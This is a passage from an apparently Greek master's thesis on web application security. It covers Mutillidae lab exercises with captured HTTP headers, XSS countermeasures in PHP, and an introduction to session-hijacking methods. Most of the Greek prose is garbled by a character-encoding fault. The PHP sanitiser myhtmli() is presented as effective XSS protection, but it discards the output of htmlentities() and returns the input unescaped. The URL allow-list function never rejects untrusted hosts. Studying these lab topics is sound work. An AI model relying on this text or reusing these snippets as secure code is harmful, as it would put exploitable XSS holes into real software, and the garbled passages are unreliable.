7. Κιείλνπκε ην πξφγξακκα “Live HTTP Headers ”. 

8. Δπηζηξέθνπκε ζην βήκα 3 θαη παηάκε ην θνπκπί “Toggle Security” ψζπνπ λα θηάζνπκε 

ζην επίπεδν 5 (Security Level: 5 (Secure)). 

9. Δπαλαιακβάλνπκε ηα βήκαηα 4 θαη 5. Ωο απνηέιεζκα βιέπνπκε φηη δελ ππάξρεη θάπνην 

alert box θαη ηα ζηνηρεία πνπ θαηέγξαςε ην “Live HTTP Headers ” είλαη δηαθνξεηηθά! 

 

 

Δηθόλα 3.28 Δπίδεημε εππάζεηαο "Missing HttpOnly Atrribute". 
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Δηθόλα 3.29 Αληηκεηώπηζε εππάζεηαο νξίδνληαο ην "HttpOnly" flag (Security Level: 5). 

 

Τα απνηειέζκαηα απφ ην πξφγξακκα “Live HTTP Headers” δηακνξθψλνληαη αλά πεξίπησζε 

σο εμήο: 

Απνηειέζκαηα ζε θαηάζηαζε αζθάιεηαο Security Level: 0 (Hosed) 

http://localhost/mutillidae/index.php?page=view-someones-blog.php 

POST /mutillidae/index.php?page=view-someones-blog.php HTTP/1.1 

Host: localhost 

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 

Accept-Language: el-gr,el;q=0.8,en-us;q=0.5,en;q=0.3 

Accept-Encoding: gzip, deflate 

Accept-Charset: ISO-8859-7,utf-8;q=0.7,*;q=0.7 

Connection: keep-alive 

Referer: http://localhost/mutillidae/index.php?page=view-someones-blog.php 

Cookie: showhints=0; username=etsaimos; uid=15; PHPSESSID=tt6bu3du00v95u888ri06b1k03 

Content-Type: application/x-www-form-urlencoded 

Content-Length: 98 

author=6C57C4B5-B341-4539-977B-7ACB9D42985A&view-someones-blog-php-submit-

button=View+Blog+Entries 

HTTP/1.1 200 OK 

Date: Sat, 21 Jan 2012 19:02:27 GMT 

Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 

Perl/v5.10.1 
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X-Powered-By: PHP/5.3.8 

Logged-In-User: etsaimos 

Keep-Alive: timeout=5, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html 

 

Απνηειέζκαηα ζε θαηάζηαζε αζθάιεηαο Security Level: 5 (Secure) 

http://localhost/mutillidae/index.php?page=view-someones-blog.php 

POST /mutillidae/index.php?page=view-someones-blog.php HTTP/1.1 

Host: localhost 

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 

Accept-Language: el-gr,el;q=0.8,en-us;q=0.5,en;q=0.3 

Accept-Encoding: gzip, deflate 

Accept-Charset: ISO-8859-7,utf-8;q=0.7,*;q=0.7 

Connection: keep-alive 

Referer: http://localhost/mutillidae/index.php?page=view-someones-blog.php 

Cookie: username=etsaimos; uid=15; showhints=0; PHPSESSID=tt6bu3du00v95u888ri06b1k03 

Content-Type: application/x-www-form-urlencoded 

Content-Length: 98 

author=6C57C4B5-B341-4539-977B-7ACB9D42985A&view-someones-blog-php-submit-

button=View+Blog+Entries 

HTTP/1.1 200 OK 

Date: Sat, 21 Jan 2012 18:38:50 GMT 

Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 

Perl/v5.10.1 

Expires: Mon, 26 Jul 1997 05:00:00 GMT 

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, no-

cache="set-cookie" 

Pragma: no-cache 

Logged-In-User: etsaimos 

X-Frame-Options: DENY 

Last-Modified: Sat, 21 Jan 2012 18:38:50 GMT 

Keep-Alive: timeout=5, max=100 

Connection: Keep-Alive 

Transfer-Encoding: chunked 

Content-Type: text/html 
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Απηφ πνπ παξαηεξνχκε εμεηάδνληαο ηα παξαπάλσ απνηειέζκαηα, είλαη ε πξνζζήθε ηνπ πεδίνπ 

“Cache-Control”. 

Τν πεδίν Cache-Control ηεο γεληθήο θεθαιίδαο, ρξεζηκνπνηείηαη γηα λα θαζνξίζεη νδεγίεο πνπ 

πξέπεη λα ηεξνχληαη απφ φινπο ηνπο κεραληζκνχο πξνζσξηλήο απνζήθεπζεο (caching) ζε φιν 

ην κήθνο κηαο ξνήο εξψηεζεο / απάληεζεο (request/response). Οη νδεγίεο θαζνξίδνπλ ηε 

ζπκπεξηθνξά κε ζθνπφ λα παξεκπνδίζνπλ ηνπο κεραληζκνχο πξνζσξηλήο απνζήθεπζεο απφ ην 

λα παξέκβνπλ θαθφβνπια ζηα αίηεκα ή ηηο απαληήζεηο. Οη νδεγίεο απηέο ζπλήζσο ππεξηζρχνπλ 

ησλ πξνεπηιεγκέλσλ αιγνξίζκσλ caching θαη είλαη κίαο θαηεχζπλζεο φζν αθνξά ην γεγνλφο 

πσο αλ ππάξρεη κηα νδεγία πνπ αθνξά ην αίηεκα (request), δελ ζεκαίλεη φηη ε ίδηα νδεγία πξέπεη 

λα δνζεί ζηελ απάληεζε (response). 

Παξαηήξεζε: Θα πξέπεη λα αλαθέξνπκε φηη ην πξσηφθνιιν HTTP/1.1 θαζνξίδεη ηε γεληθή 

θεθαιίδα Pragma. Η γεληθή θεθαιίδα Pragma επηηξέπεη ηελ απνζηνιή νδεγηψλ πξνο ηνλ 

παξαιήπηε ηνπ κελχκαηνο. Οη νδεγίεο απηέο απνηεινχλ έλα ηξφπν γηα λα δεηείηαη απφ δνκηθά 

ζηνηρεία ηνχ Ιζηνχ λα ζπκπεξηθέξνληαη κε ζπγθεθξηκέλν ηξφπν, ελψ δηαρεηξίδνληαη έλα αίηεκα 

ή κηα απφθξηζε. Τν πξωηόθνιιν δελ επηβάιιεη ηελ ππαθνή ζηηο νδεγίεο απηέο, αιιά 

απιώο απαηηεί ηελ κεηάδνζή ηνπο . Τέινο, γηα πεξηζζφηεξεο πιεξνθνξίεο αλαηξέμηε ζηνλ 

παξαθάησ ζχλδεζκν: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html . 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html


Μεηαπηπρηαθή Γηαηξηβή   Τζάηκνο Διεπζέξηνο 

   70 

 
Θέκαηα Αζθάιεηαο ζηηο Σχγρξνλεο Γηαδηθηπαθέο Δθαξκνγέο 

3.3.3 Τξόπνη αληηκεηώπηζεο 

Η απνηειεζκαηηθή αληηκεηψπηζε XSS επηζέζεσλ, έρεη ηελ βάζε ηεο ζηελ πξόιεςε θαη αξρίδεη 

φηαλ ζρεδηάδεηαη ε εθαξκνγή, φρη ζηα ηειηθά ζηάδηα ειέγρνπ ή αθφκα ρεηξφηεξα αθφηνπ 

αλαθαιπθζεί ην πξψην πξφβιεκα. Παξαδείγκαηνο ράξηλ, νη εθαξκνγέο πνπ ζηεξίδνληαη ζε 

POST requests, είλαη ιηγφηεξν εππαζείο απφ εθείλεο πνπ επηηξέπνπλ ηνλ έιεγρν κέζσ URI 

strings (GET requests).  

Σηελ ελφηεηα απηή, ζα εμεηάζνπκε ιεπηνκεξψο δηάθνξεο κεζφδνπο γηα ηε κείσζε ηεο έθζεζεο 

ζε επηζέζεηο XSS
[15]

. Η αληηκεηψπηζε XSS επηζέζεσλ, απαηηεί ησλ δηαρσξηζκφ ησλ κε έκπηζησλ 

ζηνηρείσλ απφ ην ελεξγφ (ήδε ππάξρνλ) πεξηερφκελν ηνπ Browser. Απηφ γίλεηαη σο εμήο: 

 Απνθεχγνληαο ηελ εηζαγσγή φισλ ησλ αλαμηφπηζησλ ζηνηρείσλ πνπ βαζίδνληαη ζηελ 

HTML. 

 Με επηθχξσζε ησλ δεδνκέλσλ εηζφδνπ θάλνληαο ρξήζε ιηζηψλ (Whitelist). ΋κσο, απηφ 

δελ απνηειεί κηα νινθιεξσκέλε άκπλα, θαζψο πνιιέο εθαξκνγέο πξέπεη λα δερζνχλ 

εηδηθνχο ραξαθηήξεο σο είζνδν. 

 

Η ινγηθή γηα ηελ πξφιεςε XSS επηζέζεσλ, είλαη λα κελ επηηξέπεηαη ζηα δεδνκέλα εηζφδνπ ησλ 

ρξεζηψλ λα πεξλνχλ ρσξίο έιεγρν θαη επεμεξγαζία ζηελ εθαξκνγή καο. Οπφηε, όια όζα 

αλαθέξζεθαλ ζην κεθάλαιο 3.2.3 ηζρύνπλ ζην αθέξαην θαη εδώ. Σην πιαίζην απηφ, ζα 

πεξηγξάθνπκε ηξφπνπο γηα λα δηαζθαιίζνπκε (φζν είλαη δπλαηφλ) φηη δελ ζα είλαη εθηθηή ε 

δεκηνπξγία κηαο XSS επίζεζεο. 

΋πσο ζπδεηήζακε ζηελ αξρή ηνπ θεθαιαίνπ 3.3.1, ε θσδηθνπνίεζε ηεο εηζφδνπ HTML ζε κε-

HTML έμνδν, είλαη θξίζηκε, δηφηη κία θνηλή κέζνδνο γηα ηε δηεμαγσγή XSS επίζεζεο 

πεξηιακβάλεη ηελ έγρπζε θψδηθα HTML κε έλα ραξαθηεξηζηηθφ src ή onload πνπ μεθηλά ηελ 

επίζεζε θαιψληαο έλα script. Η ζπλάξηεζε htmlentities() ηεο PHP ζα θάλεη φιε ηελ 

δνπιεία γηα εκάο, θαζηζηψληαο ηελ είζνδν αβιαβή. 

Τν παξαθάησ PHP Script, παίξλεη ηελ εηζφδνπ ηνπ ρξήζηε, ηελ πεξλάεη ζηελ ζπλάξηεζε 

myhtmli(), πνπ απιά εθαξκφδεη ζπλάξηεζε htmlentities() ηεο PHP ζε φιε ηελ είζνδν. 

Απηφ εκπνδίδεη απνηειεζκαηηθά ηελ ελζσκάησζε HTML θαη JavaScript θψδηθα. Δπίζεο, 

ζπλάξηεζε htmlentities() κεηαηξέπεη  ηφζν ηα δηπιά φζν θαη ηα κνλά εηζαγσγηθά. 

<?php 

    function myhtmli( $strinput ) { 

        htmlentities( $strinput, ENT_QUOTES, 'utf-8' ); 

        return $strinput; 

    } 

     

    // H eisodos..tha mporouse na einai kai $_POST apo forma ktl 

    $details = "\x8F!!! Tsaimos"; 

     

    // Typonei: Tsaimos 

    print '<p>' . myhtmli( $details ) . '</p>'; 

?> 

 

 

http://php.net/manual/en/function.htmlentities.php
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Η ζπλάξηεζε htmlentities()καο θαιχπηεη γηα ηελ απνθπγή εηζαγσγήο κε έκπηζησλ 

δεδνκέλσλ ζην ζψκα ελφο εγγξάθνπ HTML, φπσο κέζα ζε έλα <div>. Μάιηζηα «αθαηξεί» κε 

έκπηζηα δεδνκέλα πνπ πεγαίλνπλ ζε γλσξίζκαηα (κεηαβιεηέο), αιιά δελ ιεηηνπξγεί εάλ 

βάδνπκε αλαμηφπηζηα δεδνκέλα κέζα ζε κηα εηηθέηα <script>  ή ζε έλα event handler φπσο 

onmouseover ή ζην CSS ή ηέινο ζε κηα δηεχζπλζε URL. Έηζη, αθφκα θη αλ ηελ 

ρξεζηκνπνηήζνπκε παληνχ είλαη αθφκα πηζαλφ λα είκαζηε επάισηνη ζε XSS επηζέζεηο, νπφηε ζα 

πξέπεη λα ρξεζηκνπνηήζνπκε ηηο παξαπάλσ κεζφδνπο ζην ηκήκα ηνπ εγγξάθνπ HTML πνπ 

βάδνπκε ηα αλαμηφπηζηα δεδνκέλα θαη παξάιιεια κε απηφ ρξεηάδεηαη ε ζέζπηζε θαλόλσλ. 

Οη παξαθάησ θαλφλεο απνζθνπνχλ ζηελ πξφιεςε φισλ ησλ XSS επηζέζεσλ ζε κία εθαξκνγή. 

Απηνί νη θαλφλεο
[17]

 θαιχπηνπλ ηε ζπληξηπηηθή πιεηνλφηεηα ησλ πεξηπηψζεσλ XSS θαη δελ είλαη 

απαξαίηεην λα ηνπο ρξεζηκνπνηήζνπκε φινπο, απιά φζνπο θξίλνπκε φηη ρξεηάδεηαη ε εθαξκνγή 

καο. 

Σαλ πξψην θαλφλα ζα πξέπεη λα ηνπνζεηνύκε «αλαμηόπηζηα» ζηνηρεία, ΜΟΝΟ ζε 

επηηξεπόκελεο ζέζεηο. Ο ιφγνο δεκηνπξγίαο απηνχ ηνπ θαλφλα  είλαη φηη ππάξρνπλ ηφζεο 

πνιιέο δηαθνξεηηθέο θαηαζηάζεηο ζε έλα HTML έγγξαθν, πνπ νη θαλφλεο δηαθπγήο θαηαιήγνπλ 

λα γίλνληαη πνιχ πεξίπινθνη. Γελ κπνξνχκε λα ζθεθηνχκε θαλέλα θαιφ ιφγν, πξνθεηκέλνπ 

θάπνηνο πξνγξακκαηηζηήο λα βάιεη αλαμηφπηζηα δεδνκέλα ζε ηέηνηα ζεκεία π.ρ. φπσο ε 

ελζσκάησζε ελφο URL κέζα ζε έλα javascript, φπνπ  ε θσδηθνπνίεζε ησλ θαλφλσλ γηα ηελ ελ 

ιφγσ πεξίπησζε κπνξεί είλαη ηφζν δχζθνιε, φζν θαη επηθίλδπλε. Κάπνηα ραξαθηεξηζηηθά 

παξαδείγκαηα είλαη: 

 
<script>...NEVER PUT UNTRUSTED DATA HERE...</script> 

 

<div ...NEVER PUT UNTRUSTED DATA HERE...=test /> 

 

< NEVER PUT UNTRUSTED DATA HERE... href="/test" /> 

 

<style>...NEVER PUT UNTRUSTED DATA HERE...</style> 

 

Τν πην ζεκαληηθφ είλαη λα κελ θάλεηε πνηέ ρξήζε θψδηθα JavaScript απφ κηα αλαμηφπηζηε πεγή. 

Καλέλαο έιεγρνο δελ ζα κπνξνχζε λα δηνξζψζεη απηφ ην ζθάικα. 

Έλαο επηπιένλ ζεκαληηθφο θαλφλαο, πνπ κία άιιε εθδνρή ηνπ έρεη αλαθεξζεί ζην θεθάιαην 

3.2.3, είλαη ε επεμεξγαζία ηνπURL πξηλ ηελ ρξήζε ηνπ
[12]

. Δδψ ζα αλαθεξζνχκε ζηελ 

πεξίπησζε πνπ θάπνηνο ρξήζηεο εηζάγεη δηάθνξα URL, νπφηε ζα πξέπεη λα βεβαησζνχκε φηη δελ 

κπνξνχλ λα ρξεζηκνπνηεζνχλ URI κνιπζκέλα κε javascript θηι. Η ζπλάξηεζε Parse_url() 

ηεο PHP ρσξίδεη έλα URL (φια ηα κέξε ηνπ), ζε έλα ζπζρεηηζηηθφ πίλαθα. Η ζπλάξηεζε 

πεξηέρεη επίζεο έλα βνεζεηηθφ πεδίν (ην “query”), ην νπνίo απνθαιχπηεη ηα εξσηήκαηα πνπ 

επηζπλάπηνληαη ζην URL (δειαδή, $ _GET κεηαβιεηέο), αλ ππάξρνπλ.  

Υπάξρνπλ νξηζκέλεο πεξηπηψζεηο, ζηηο νπνίεο ε αθαίξεζε ηνπ query απφ ην URL, ζα εκπνδίζεη 

ηνπο ρξήζηεο καο φηαλ π.ρ. ζέινπλε λα αλαθεξζνχλε ζε κηα web ηνπνζεζία κε έλα URL φπσο: 

http://example.gr/demopage.php?Id=23.  

http://php.net/manual/en/function.parse-url.php
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Ίζσο, ε θαιχηεξε ιχζε είλαη λα επηηξέςνπκε ηα URL queries κφλν γηα αμηφπηζηνπο δηθηπαθνχο 

ηφπνπο (allow list), έηζη ψζηε ε εθαξκνγή καο λα επηηξέπεη κφλν πξνθαζνξηζκέλα URL. Αο 

δνχκε ινηπφλ πψο ζα ήηαλ έλα ηέηνην PHP Script: 

<?php 

    function mysafeURL( $strurl ) { 

        $uriParts = parse_url( $strurl ); 

        $trustedHosts = array('mydomain.gr','subdomain.mydomain.gr'); 

//empista URL 

        $counter = count($trustedHosts); //Arithmos Empiston URLs 

        for ( $i = 0; $i < $counter; $i++ ) { 

            if ( $uriParts['host'] === $trustedHosts[$i] ) { 

                return $strurl; //TRUE: epistrefei to URL os exei 

            } 

        } 

         

        //FALSE: epistrefei to URL kai dipla to host 

   //Tha mporouse na exei alert I na kovei to URL 

        $strurl .= ' [' . $uriParts['host'] . ']'; 

        return $strurl; 

    } 

         

    // retrieve $uri from user input 

    $inputUrl = $_POST['inputUrl']; 

         

    // and display it safely 

    echo mysafeURL( $inputUrl ); 

?> 

 

Τν παξαπάλσ script ιεηηνπξγεί σο εμήο, αξρηθά δεκηνπξγνχκε έλα πίλαθα κε ηνπο έκπηζηνπο 

hosts θαη έπεηηα ζπγθξίλνπκε ην ηκήκα host ηνπ URL πνπ δερζήθακε σο είζνδν, κε ηνπο 

έκπηζηνπο hosts πνπ έρνπκε ζηνλ πίλαθα. Αλ δελ ηαηξηάδνπλ, ηφηε ηππψλνπκε ην URL θαη δίπια 

ηνπ ηνλ host πνπ αλήθεη, αιιηψο επηζηξέθνπκε ην URL σο έρεη. 
 

Γηα πεξηζζφηεξεο πιεξνθνξίεο ζρεηηθά κε ηα script θαη ηηο κεζφδνπο πνπ αλαθέξζεθαλ ζε απηή 

ηελ ελφηεηα, παξαθαιψ αλαηξέμηε ζηελ αληίζηνηρε βηβιηνγξαθία θαη ηα αθφινπζα links: 

 http://trac.chxo.com/browser/pps/ch13-crossSiteScripting/filterUriDemo.php 

 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet 

 

Αλαθεθαιαηψλνληαο, κία νινθιεξσκέλε πξφηαζε αληηκεηψπηζεο XSS επηζέζεσλ ζα πξέπεη λα 

πεξηιακβάλεη ηα αθφινπζα ραξαθηεξηζηηθά:  

 Δπηθχξσζε θαη «απνιχκαλζε» ηεο εηζφδνπ. 

 Δπεμεξγαζία/θσδηθνπνίεζε ηεο εμφδνπ (htmlentities()). 

 Φξήζε θαλφλσλ νξζήο πνιηηηθήο θαη φρη Blacklist. 

 Πξφβιεςε ησλ θηλήζεσλ ησλ ρξεζηψλ. 

http://trac.chxo.com/browser/pps/ch13-crossSiteScripting/filterUriDemo.php
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
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3.4 Δππάζεηεο πνπ αθνξνύλ ηελ δηαρείξηζε Σπλόδσλ θαη ηελ Απζεληηθνπνίεζε 

ησλ ρξεζηώλ  

Ο κεραληζκόο δηαρείξηζεο ησλ ζπλόδσλ (Sessions), είλαη κηα ζεκειηψδεο ζπληζηψζα ηεο 

αζθάιεηαο ζηελ πιεηνλφηεηα ησλ δηαδηθηπαθψλ εθαξκνγψλ. Δίλαη απηφ πνπ επηηξέπεη ζηελ 

εθαξκνγή λα αλαγλσξίζεη κνλαδηθά έλα ρξήζηε, κέζα ζε έλα κεγάιν αξηζκφ δηαθνξεηηθψλ 

αηηήζεσλ θαη λα ρεηξηζηεί ηα δεδνκέλα ηνπ ρξήζηε πνπ ζπγθεληξψλεηαη ζρεηηθά κε ηελ 

θαηάζηαζε αιιειεπίδξαζεο ηνπ κε ηελ εθαξκνγή. ΋ηαλ θάπνηα δηαδηθηπαθή εθαξκνγή δηαζέηεη 

ππεξεζία login ησλ ρξεζηψλ, ε δηαρείξηζε ησλ ζπλφδσλ έρεη ηδηαίηεξε ζεκαζία, θαζψο είλαη 

απηφ πνπ επηηξέπεη ζηελ εθαξκνγή λα δηαηεξήζεη ηελ αμηνπηζηία ηεο ηαπηφηεηαο θάπνηνπ 

ρξήζηε, παξαπέξα απ’ ην αίηεκα κε ην νπνίν νη ρξήζηεο πξνκεζεχνπλ ηα δηαπηζηεπηήξηά ηνπο. 

Λφγσ ηνπ λεπξαιγηθνχ ξφινπ πνπ δηαδξακαηίδνπλ νη κεραληζκνί δηαρείξηζεο ησλ ζπλφδσλ, 

απνηεινχλ θχξην ζηφρν ησλ θαθφβνπισλ επηζέζεσλ ζηηο δηαδηθηπαθέο εθαξκνγέο. Δάλ έλαο 

εηζβνιέαο κπνξεί λα ζπάζεη ηε δηαρείξηζε ζπλφδνπ κηαο εθαξκνγήο, ηφηε κπνξεί λα παξαθάκςεη 

ηνλ πξαγκαηηθφ έιεγρν απζεληηθνπνίεζεο (login) ηεο εθαξκνγήο θαη λα «κεηακθηεζηεί» ζε 

θάπνηνλ άιιν ρξήζηε (πιαζηνπξνζσπία) ρσξίο θαλ λα γλσξίδεη ηα δηαπηζηεπηήξηά (username, 

password, θ.α.) ηνπ . Έηζη, αλ έλαο εηζβνιέαο θαηαθέξεη λα «κεηακθηεζηεί» ζε έλα ρξήζηε κε 

απμεκέλα δηθαηψκαηα ζηελ εθαξκνγή, κπνξεί ζηελ ζπλέρεηα λα έρεη ζηελ θαηνρή ηνπ νιφθιεξε 

ηελ εθαξκνγή. 

 

Σηνπο κεραληζκνύο απζεληηθνπνίεζεο ησλ ρξεζηώλ, ππάξρεη κία επξεία πνηθηιία απφ 

ειαηηψκαηα πνπ ζπλήζσο πξνέξρνληαη απφ ιαλζαζκέλεο ελέξγεηεο ζηελ δηαρείξηζε ησλ 

ζπλφδσλ. Σηηο πην επάισηεο πεξηπηψζεηο, έλαο εηζβνιέαο ρξεηάδεηαη απιά λα αιιάμεη ηελ ηηκή 

κηαο κεηαβιεηήο/αλαγλσξηζηηθνχ πνπ ηνπ απνδίδεηαη απφ ηελ εθαξκνγή, πξνθεηκέλνπ λα 

ηαηξηάμεη κε εθείλε ελφο δηαθνξεηηθνχ ρξήζηε. Σε απηήλ ηελ πεξίπησζε, ε εθαξκνγή είλαη 

νξζάλνηρηε γηα νπνηνλδήπνηε θαη επηηξέπεη ηελ πξφζβαζε ζε φιεο ηνπο ηνκείο. Σην άιιν άθξν, 

έλαο εηζβνιέαο κπνξεί λα ρξεηαζηεί λα δνπιέςεη πνιχ ζθιεξά, λα απνθξππηνγξαθήζεη πνιιά 

επίπεδα πιεξνθνξηψλ, ίζσο αθφκα θαη λα πξνβεί ζηελ επηλφεζε κηαο εμειηγκέλεο 

απηνκαηνπνηεκέλεο επίζεζεο πξηλ θαηαθέξεη λα αλαθαιχςεη κηα «ραξακάδα» ζηελ «ζσξάθηζε» 

ηεο εθαξκνγήο. 

Η «αξρή ηνπ θαθνχ» κπνξνχκε λα πνχκε φηη βξίζθεηαη ζην γεγνλφο φηη ην πξσηφθνιιν HTTP 

(HyperText Transfer Protocol), είλαη έλα πξσηφθνιιν ρσξίο κλήκε (stateless protocol). 

Γειαδή, δελ δηαηεξεί θακία πιεξνθνξία γηα κία ζχλδεζε κεηά απφ ηελ δηεθπεξαίσζε κίαο 

ζρεηηθήο αίηεζεο. Η δηαηήξεζε πιεξνθνξίαο θαηάζηαζεο κπνξεί λα επηηεπρζεί εθηφο απφ ηνλ 

ίδην ηνλ HTTP server κέζσ εμσηεξηθψλ πξνγξακκάησλ. Τέινο, ην πξσηφθνιιν HTTP δελ 

δηαζέηεη θακία ηερληθή (φπσο Session θηι) πξνθεηκέλνπ λα δηαηεξήζεη ηελ αθεξαηφηεηα ηεο 

ζχλδεζεο κε ηνλ πειάηε. 
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Απηφ, είλαη θάηη πνπ βνιεχεη εμαηξεηηθά ηνπο επηηηζέκελνπο (Hackers), θαζψο δελ ρξεηάδνληαη 

λα ζρεδηάδνπλ πνιχπινθεο επηζέζεηο πξνθεηκέλνπ λα κηκεζνχλ κεραληζκνχο δηαρείξηζεο 

ζπλφδσλ, αιιά αξθεί κία θαη κφλν αίηεζε (request) γηα λα θαηαζηξαθεί κηα δηαδηθηπαθή 

επηθνηλσλία. Σηνλ αληίπνδα,  νη πξνγξακκαηηζηέο δηαδηθηπαθψλ εθαξκνγψλ πξνζπαζνχλ λα 

θαιχςνπλ απηή ηελ αδπλακία ηνπ HTTP, βαζηδφκελνη ζηελ αλάπηπμε ηδίνπ θψδηθα γηα ηελ 

απζεληηθνπνίεζε, εμνπζηνδφηεζε θαη δηαρείξηζε ζπλφδσλ ησλ ρξεζηψλ. Η ηερληθή πνπ ζπλήζσο 

αθνινπζείηαη είλαη αξρηθά ε πινπνίεζε θάπνηαο κνξθήο ειέγρνπ ηαπηφηεηαο θαη ζηελ ζπλέρεηα 

ε απνζήθεπζε ηνπ απνηειέζκαηνο κε πξφζζεηεο πιεξνθνξίεο ζε έλα cookie. 

Έηζη ινηπφλ θαη ζηελ γιώζζα PHP ε ππνζηήξημε ζπλόδσλ πξνζθέξεη έλα ηξφπν γηα ηε 

δηαηήξεζε νξηζκέλσλ δεδνκέλσλ ζε κία ζεηξά απφ πξνζπειάζεηο πφξσλ ηεο εθαξκνγήο. Απηφ 

καο δίλεη ηε δπλαηφηεηα λα πινπνηήζνπκε πην πξνζαξκνζηηθέο εθαξκνγέο θαη παξάιιεια λα 

βειηηψζνπκε ηελ ιεηηνπξγία ηεο ηζηνζειίδαο καο. Πην αλαιπηηθά, φηαλ θάπνηνο επηζθέπηεηαη 

κηα ηζηνζειίδα ηνπ απνδίδεηαη έλα κνλαδηθφ αλαγλσξηζηηθφ, ην ιεγφκελν αλαγλσξηζηηθφ 

ζπλφδνπ (session id), απηφ είηε απνζεθεχεηαη ζε έλα cookie (ζηνλ ππνινγηζηή ηνπ ρξήζηε) είηε 

ελζσκαηψλεηαη ζηε δηεχζπλζε URL. Απηφ καο επηηξέπεη λα απνζεθεχνπκε ηα δεδνκέλα κεηαμχ 

ησλ δηάθνξσλ αηηεκάησλ ζηελ superglobal κεηαβιεηή “$ _SESSION”, νπφηε φηαλ έλαο 

ρξήζηεο επηζθεθηεί ην site καο, ε PHP ζα ειέγμεη απηφκαηα αλ έλα ζπγθεθξηκέλν id ζπλφδνπ 

έρεη απνζηαιεί κε ηελ αίηεζε, αλ ζπκβαίλεη απηφ, ηφηε ην πξνυπάξρνλ πεξηβάιινλ 

αλαδεκηνπξγείηαη/θνξηψλεηαη. Γηα πεξηζζφηεξεο πιεξνθνξίεο αλαηξέμεηε ζηνλ ζχλδεζκν: 

http://www.php.net/manual/en/intro.session.php 

Σε απηφ ην θεθάιαην, ζα εμεηάζνπκε φιεο ηηο κνξθέο ηεο ελ ιφγσ εππάζεηαο πνπ έρνπλ 

εκθαληζηεί ζε πξαγκαηηθέο δηθηπαθέο εθαξκνγέο θαζψο ην πεξηβάιινλ Mutillidae καο παξέρεη 

απηή ηε δπλαηφηεηα. Σπλάκα, ζα νξίζνπκε ιεπηνκεξψο ηα πξαθηηθά βήκαηα πνπ απαηηνχληαη 

ψζηε λα εληνπίζνπκε θαη λα αμηνπνηήζνπκε απηέο ηηο εππάζεηεο. Τέινο, ζα πεξηγξάςνπκε ηα 

αληηκέηξα πνπ πξέπεη λα ιάβνπλ νη εθαξκνγέο γηα λα πξνζηαηεπζνχλ απφ απηέο ηηο επηζέζεηο. 

 

 

Δηθόλα 3.29 Δππάζεηεο "Session Management" & "Authenticaion" ζην Mutillidae. 

http://www.php.net/manual/en/intro.session.php
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Πξηλ ζπλερίζνπκε, αο δνχκε έλα ραξαθηεξηζηηθφ παξάδεηγκα ζπλφδσλ ζηελ γιψζζα php θαη ηηο 

πην ζπλεζηζκέλεο αδπλακίεο πνπ παξνπζηάδνληαη ζε απηέο. 

Οη πεξηζζφηεξεο επηζέζεηο ζπλφδνπ πεξηιακβάλνπλ πιαζηνπξνζσπία, δειαδή ν επηηηζέκελνο 

πξνζπαζεί λα απνθηήζεη πξφζβαζε ζηε ζχλνδν ελφο άιινπ ρξήζηε παξηζηάλνληαο εθείλν ηνλ 

ρξήζηε. Η θξηζηκφηεξε πιεξνθνξία γηα έλαλ επηηηζέκελν είλαη ην αλαγλσξηζηηθφ ζπλφδνπ 

(session ID), επεηδή απηφ απαηηείηαη γηα νπνηαδήπνηε επίζεζε πιαζηνπξνζσπίαο. Υπάξρνπλ 

ηξεηο επξέσο γλσζηέο κέζνδνη πνπ ρξεζηκνπνηνχληαη γηα ηελ «απφθηεζε» ελφο έγθπξνπ 

πξνζδηνξηζηηθνχ ζπλφδνπ: 

 Prediction (Πξφβιεςε) 

 Capture (Σχιιεςε) 

 Fixation (Καζήισζε) 

Η πξόβιεςε αλαθέξεηαη ζηελ εηθαζία ελφο έγθπξνπ πξνζδηνξηζηηθνχ ζπλφδνπ. Με ηνλ εγγελή 

κεραληζκφ ζπλφδνπ ηεο php, ην πξνζδηνξηζηηθφ ζπλφδνπ είλαη εμαηξεηηθά ηπραίν θαη απηφ είλαη 

απίζαλν λα είλαη ην πην αδχλαην ζεκείν ζε κία εθαξκνγή. 

Η ζύιιεςε ελφο έγθπξνπ πξνζδηνξηζηηθνχ ζπλφδνπ είλαη ν πην θνηλφο ηχπνο επίζεζεο ζηηο 

ζπλφδνπο θαη ππάξρνπλ πνιπάξηζκεο πξνζεγγίζεηο. Δπεηδή ηα αλαγλσξίζηεθα ζπλφδνπ 

δηαδίδνληαη ζπλήζσο κε cookies ή κε $GET κεηαβιεηέο, νη δηάθνξεο πξνζεγγίζεηο εζηηάδνπλ 

ζηελ επίζεζε απηψλ ησλ κεζφδσλ κεηαθνξάο. Έρνπλ ππάξμεη κεξηθέο εππάζεηεο ησλ Browser 

ζρεηηθά κε ηα cookies αιιά ζπλήζσο αθνξνχλ ηνλ Internet Explorer. Δπηπιέσλ, ηα cookies σο 

κεραληζκφο είλαη (ειαθξψο) ιηγφηεξν εθηεζεηκέλα απφ ηηο $GET κεηαβιεηέο, θαηά ζπλέπεηα, γηα 

εθείλνπο ηνπο ρξήζηεο πνπ «επηηξέπνπλ» ηα cookies, κπνξεί λα παξέρεηαη έλαο αλάινγνο 

κεραληζκφο (κε ρξήζε cookies) γηα ηελ δηάδνζε ηνπ αλαγλσξηζηηθνχ ζπλφδνπ. 

Η κέζνδνο ηεο θαζήισζεο (Fixation), είλαη ε απινχζηεξε γηα ηελ απφθηεζε ελφο έγθπξνπ 

αλαγλσξηζηηθνχ ζπλφδνπ. Σηελ πξαγκαηηθφηεηα, ελψ δελ είλαη πνιχ δχζθνιν λα ακπλζεί θαλείο 

